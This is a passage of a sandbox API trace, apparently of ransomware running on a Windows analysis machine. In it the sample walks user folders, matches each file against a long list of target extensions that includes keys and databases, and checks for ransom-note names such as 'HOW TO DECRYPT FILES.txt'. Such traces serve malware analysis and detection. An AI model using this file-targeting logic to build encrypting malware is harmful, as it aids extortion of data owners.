HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.mbox") returned 0 [0088.083] lstrlenA (lpString="*.mbox") returned 6 [0088.083] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.eml") returned 0 [0088.083] lstrlenA (lpString="*.eml") returned 5 [0088.083] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.pst") returned 0 [0088.083] lstrlenA (lpString="*.pst") returned 5 [0088.083] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.ost") returned 0 [0088.083] lstrlenA (lpString="*.ost") returned 5 [0088.083] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.idx") returned 0 [0088.083] lstrlenA (lpString="*.idx") returned 5 [0088.084] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.dbx") returned 0 [0088.084] lstrlenA (lpString="*.dbx") returned 5 [0088.084] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.sql") returned 0 [0088.084] lstrlenA (lpString="*.sql") returned 5 [0088.084] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.mdb") returned 0 [0088.084] lstrlenA (lpString="*.mdb") returned 5 [0088.084] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.fdb") returned 0 [0088.084] lstrlenA (lpString="*.fdb") returned 5 [0088.084] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.wab") returned 0 [0088.084] lstrlenA (lpString="*.wab") returned 5 [0088.084] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.dat") returned 0 [0088.084] lstrlenA (lpString="*.dat") returned 5 [0088.085] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.txt") returned 0 [0088.085] lstrlenA (lpString="*.txt") returned 5 [0088.085] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.jpeg") returned 0 [0088.085] lstrlenA (lpString="*.jpeg") returned 6 [0088.085] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.jpg") returned 0 [0088.085] lstrlenA (lpString="*.jpg") returned 5 [0088.085] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.png") returned 0 [0088.085] lstrlenA (lpString="*.png") returned 5 [0088.085] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.php") returned 0 [0088.085] lstrlenA (lpString="*.php") returned 5 [0088.085] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.cs") returned 0 [0088.085] lstrlenA (lpString="*.cs") returned 4 [0088.085] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.cpp") returned 0 [0088.085] lstrlenA (lpString="*.cpp") returned 5 [0088.085] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.rar") returned 0 [0088.085] lstrlenA (lpString="*.rar") returned 5 [0088.085] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.zip") returned 0 [0088.085] lstrlenA (lpString="*.zip") returned 5 [0088.085] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.html") returned 0 [0088.086] lstrlenA (lpString="*.html") returned 6 [0088.086] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.htm") returned 0 [0088.086] lstrlenA (lpString="*.htm") returned 5 [0088.086] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.xlsx") returned 0 [0088.086] lstrlenA (lpString="*.xlsx") returned 6 [0088.086] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.xls") returned 0 [0088.086] lstrlenA (lpString="*.xls") returned 5 [0088.086] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.mp4") returned 0 [0088.086] lstrlenA (lpString="*.mp4") returned 5 [0088.086] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.ppt") returned 0 [0088.086] lstrlenA (lpString="*.ppt") returned 5 [0088.086] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.pptx") returned 0 [0088.086] lstrlenA (lpString="*.pptx") returned 6 [0088.086] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.doc") returned 0 [0088.086] lstrlenA (lpString="*.doc") returned 5 [0088.086] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.dot") returned 0 [0088.086] lstrlenA (lpString="*.dot") returned 5 [0088.086] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.docx") returned 0 [0088.086] lstrlenA (lpString="*.docx") returned 6 [0088.086] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.7z") returned 0 [0088.086] lstrlenA (lpString="*.7z") returned 4 [0088.086] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.tar") returned 0 [0088.087] lstrlenA (lpString="*.tar") returned 5 [0088.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.bz2") returned 0 [0088.087] lstrlenA (lpString="*.bz2") returned 5 [0088.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.gz") returned 0 [0088.087] lstrlenA (lpString="*.gz") returned 4 [0088.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.mkv") returned 0 [0088.087] lstrlenA (lpString="*.mkv") returned 5 [0088.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.eml") returned 0 [0088.087] lstrlenA (lpString="*.eml") returned 5 [0088.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.msg") returned 0 [0088.087] lstrlenA (lpString="*.msg") returned 5 [0088.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.edb") returned 0 [0088.087] lstrlenA (lpString="*.edb") returned 5 [0088.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.accdb") returned 0 [0088.087] lstrlenA (lpString="*.accdb") returned 7 [0088.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.odb") returned 0 [0088.087] lstrlenA (lpString="*.odb") returned 5 [0088.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.java") returned 0 [0088.087] lstrlenA (lpString="*.java") returned 6 [0088.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.asm") returned 0 [0088.087] lstrlenA (lpString="*.asm") returned 5 [0088.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.pfx") returned 0 [0088.088] lstrlenA (lpString="*.pfx") returned 5 [0088.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.pem") returned 0 [0088.088] lstrlenA (lpString="*.pem") returned 5 [0088.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.p12") returned 0 [0088.088] lstrlenA (lpString="*.p12") returned 5 [0088.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.gpg") returned 0 [0088.088] lstrlenA (lpString="*.gpg") returned 5 [0088.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.vsd") returned 0 [0088.088] lstrlenA (lpString="*.vsd") returned 5 [0088.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.odg") returned 0 [0088.088] lstrlenA (lpString="*.odg") returned 5 [0088.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.raw") returned 0 [0088.088] lstrlenA (lpString="*.raw") returned 5 [0088.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.nef") returned 0 [0088.088] lstrlenA (lpString="*.nef") returned 5 [0088.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.svg") returned 0 [0088.088] lstrlenA (lpString="*.svg") returned 5 [0088.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.psd") returned 0 [0088.088] lstrlenA (lpString="*.psd") returned 5 [0088.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.vmx") returned 0 [0088.089] lstrlenA (lpString="*.vmx") returned 5 [0088.089] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.vmdk") returned 0 [0088.089] lstrlenA (lpString="*.vmdk") returned 6 [0088.089] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.vdi") returned 0 [0088.089] lstrlenA (lpString="*.vdi") returned 5 [0088.089] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.lay6") returned 0 [0088.089] lstrlenA (lpString="*.lay6") returned 6 [0088.089] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.mpeg") returned 0 [0088.089] lstrlenA (lpString="*.mpeg") returned 6 [0088.089] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.djvu") returned 0 [0088.090] lstrlenA (lpString="*.djvu") returned 6 [0088.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.tiff") returned 0 [0088.092] lstrlenA (lpString="*.tiff") returned 6 [0088.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.backup") returned 0 [0088.092] lstrlenA (lpString="*.backup") returned 8 [0088.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.pdf") returned 0 [0088.092] lstrlenA (lpString="*.pdf") returned 5 [0088.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.cert") returned 0 [0088.092] lstrlenA (lpString="*.cert") returned 6 [0088.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.docm") returned 0 [0088.092] lstrlenA (lpString="*.docm") returned 6 [0088.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.xlsm") returned 0 [0088.092] lstrlenA (lpString="*.xlsm") returned 6 [0088.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.dwg") returned 0 [0088.093] lstrlenA (lpString="*.dwg") returned 5 [0088.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.nd") returned 0 [0088.093] lstrlenA (lpString="*.nd") returned 4 [0088.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.tlg") returned 0 [0088.093] lstrlenA (lpString="*.tlg") returned 5 [0088.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.lgb") returned 0 [0088.093] lstrlenA (lpString="*.lgb") returned 5 [0088.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.mov") returned 0 [0088.093] lstrlenA (lpString="*.mov") returned 5 [0088.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.xdw") returned 0 [0088.093] lstrlenA (lpString="*.xdw") returned 5 [0088.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.ods") returned 0 [0088.093] lstrlenA (lpString="*.ods") returned 5 [0088.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.wav") returned 0 [0088.093] lstrlenA (lpString="*.wav") returned 5 [0088.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.mp3") returned 0 [0088.093] lstrlenA (lpString="*.mp3") returned 5 [0088.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.aiff") returned 0 [0088.093] lstrlenA (lpString="*.aiff") returned 6 [0088.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.flac") returned 0 [0088.094] lstrlenA (lpString="*.flac") returned 6 [0088.094] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.m4a") returned 0 [0088.094] lstrlenA (lpString="*.m4a") returned 5 [0088.094] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.csv") returned 0 [0088.094] lstrlenA (lpString="*.csv") returned 5 [0088.094] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="rasphone.pbk", cAlternateFileName="")) returned 0 [0088.094] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0088.094] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="_hiddenPbk", cAlternateFileName="_HIDDE~1")) returned 0 [0088.094] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0088.094] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Pbk", cAlternateFileName="")) returned 0 [0088.094] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0088.094] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 0 [0088.094] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0088.095] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43c8ae30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5dae0390, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5dae0390, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x65004e, dwReserved1=0x770074, cFileName="Office", cAlternateFileName="")) returned 1 [0088.095] lstrcmpA (lpString1=".", lpString2="Office") returned -1 [0088.095] lstrcmpA (lpString1="..", lpString2="Office") returned -1 [0088.095] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0088.095] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpString2="Office" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office" [0088.095] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office") returned 62 [0088.095] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43c8ae30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5dae0390, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5dae0390, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0043, dwReserved1=0x6e006e, cFileName=".", cAlternateFileName="")) returned 0x502658 [0088.098] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.098] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43c8ae30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5dae0390, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5dae0390, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x6e0000, cFileName="..", cAlternateFileName="")) returned 1 [0088.098] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.098] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.098] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f6ce7b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f6ce7b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f6ce7b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x9382, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MSO1033.acl", cAlternateFileName="")) returned 1 [0088.098] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0088.098] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSO1033.acl") returned -1 [0088.098] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSO1033.acl") returned -1 [0088.098] lstrcmpiA (lpString1="", lpString2="MSO1033.acl") returned -1 [0088.098] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\*.*") returned="*.*" [0088.099] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\" [0088.099] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS 